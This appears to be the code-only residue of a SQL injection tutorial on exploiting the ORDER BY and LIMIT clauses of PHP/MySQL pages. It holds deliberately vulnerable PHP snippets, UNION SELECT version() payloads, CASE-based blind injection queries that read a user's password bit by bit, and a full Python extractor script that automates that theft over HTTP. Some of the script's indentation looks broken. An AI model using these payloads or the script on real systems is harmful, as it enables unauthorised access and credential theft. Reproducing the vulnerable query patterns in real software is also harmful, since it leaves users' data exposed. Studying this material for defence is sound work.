SELECT fieldlist
FROM table WHERE field = '<part_controlled_by_user>';

SELECT fieldlist
FROM table WHERE field = 'INVALID_VALUE' UNION SELECT VERSION()

<?php
include 'db.php';
if (isset($_GET["order_by"]))
$order_by = mysql_escape_string($_GET["order_by"]);
else
$order_by = 'name';
$result = mysql_query("SELECT * FROM users ORDER BY $order_by");
while( $row = mysql_fetch_array($result) ){
echo "<b>".$row["username"]."</b> - ";
echo " ".$row["name"]." - ";
echo " ".$row["email"];
echo "<br>";
}
?>

/orderby?order_by=name

orderby.php?order_by=email

SELECT * FROM users ORDER BY name union select version()

"Incorrect usage of UNION and ORDER BY".

SELECT * FROM users ORDER BY (case when ({boolean_condition}) then name else email end)

SELECT * FROM users ORDER BY (case when (1=1) then name else email end)

SELECT * FROM users ORDER BY (case when (1=0) then name else email end)

SELECT * FROM users ORDER BY (case when (ORD(MID((select password from  users where id=1),1,1))&1>0) then name else email end)

SELECT * FROM users ORDER BY (case when (ORD(MID((select password from  users where id=1),1,1))&2>0) then name else email end)

# ORDER BY data extractor (bogdan [at] acunetix.com)
import httplib, urllib, sys, string
from string import replace
# various configuration parameters
HOSTNAME = "bld01"
PORT = "80"
URL = "/insecuremag/orderby.php?order_by="
# the string that is returned when the condition is true
TRUE_STRING = "1 - <b>admin</b> - Clear Rivers - admin@email.com<br> 3- <b>John</b>"
# function to perform the actual data extraction using boolean queries
def extract_data(extract_data_query):
      print "Query: " + extract_data_query
      result = ""
      # bits array
      bits = [1, 2, 4, 8, 16, 32, 64, 128]
      char = 1
      while (1):
            i = 0
            value = 0
            while (i < 8):
                 # prepare request
                 h1 = httplib.HTTPConnection(HOSTNAME, PORT, timeout=20)
                 params = {}
                 # http headers
                 headers = {"Host": HOSTNAME,
                             "Accept": "*/*",
                             "User-Agent": "Mozilla/4.0 (Acunetix WVS)"}
                 # prepare SQL query
                 query = "(case when (ORD(MID((" + extract_data_query + ")," + str(char) + ",1))& " + str(bits[i]) + " >0) then name else email end)"
                 # make HTTP request
                 h1.request("GET", URL + urllib.quote_plus(query), params, headers)
                 try:
                      r1 = h1.getresponse()
                 except:
                      print "error ..."
                      sys.exit()
                 # check HTTP status code (we are looking for a 200 response)
                 if r1.status <> 200:
                      print "invalid status code: " + str(r1.status)
                      sys.exit()
            # good status code, move on ...
            data = r1.read()
            # determine bit value based on data, search true string
            if string.find(data, TRUE_STRING) != -1:
                print "1",
                value = value + bits[i]
            else:
                print "0",
            h1.close()
            # move to the next bit
            i = i + 1
       # game over?
      if value == 0:
           print " DONE"
           return result
      else:
           print " => " + str(value) + " => '" + chr(value) + "'"
           # save the current char, move on to the next one
           result = result + chr(value)
           char = char + 1
# main function
def main():
    # check for input params
    if len(sys.argv)<=1:
        print "usage orderby.py SQL_QUERY_TO_EXTRACT_DATA"
        sys.exit()
    query = sys.argv[1]
    print "[*] ORDER BY data extractor (bogdan [at] acunetix.com) [*]"
    print ""
    # extract the data
    data = extract_data(query)
    print ""
    print "result => " + data
if __name__ == '__main__':
    main()

<?php
include 'db.php';
if (isset($_GET["limit"]))
$limit = mysql_escape_string($_GET["limit"]);
else
$limit = '3';
$result = mysql_query("SELECT * FROM users LIMIT $limit");
while( $row = mysql_fetch_array($result) ){
echo "<b>".$row["username"]."</b> - ";
echo " ".$row["name"]." - ";
echo " ".$row["email"];
echo "<br>";
}
?>

/limit.php?limit=2+union+select+1,2,version(),4,5,6,7,8

$limit = mysql_escape_string($_GET["limit"]) او  $limit = intval($_GET["limit"])

select * from users group by id union select 1,2,version(),4,5,6,7,8...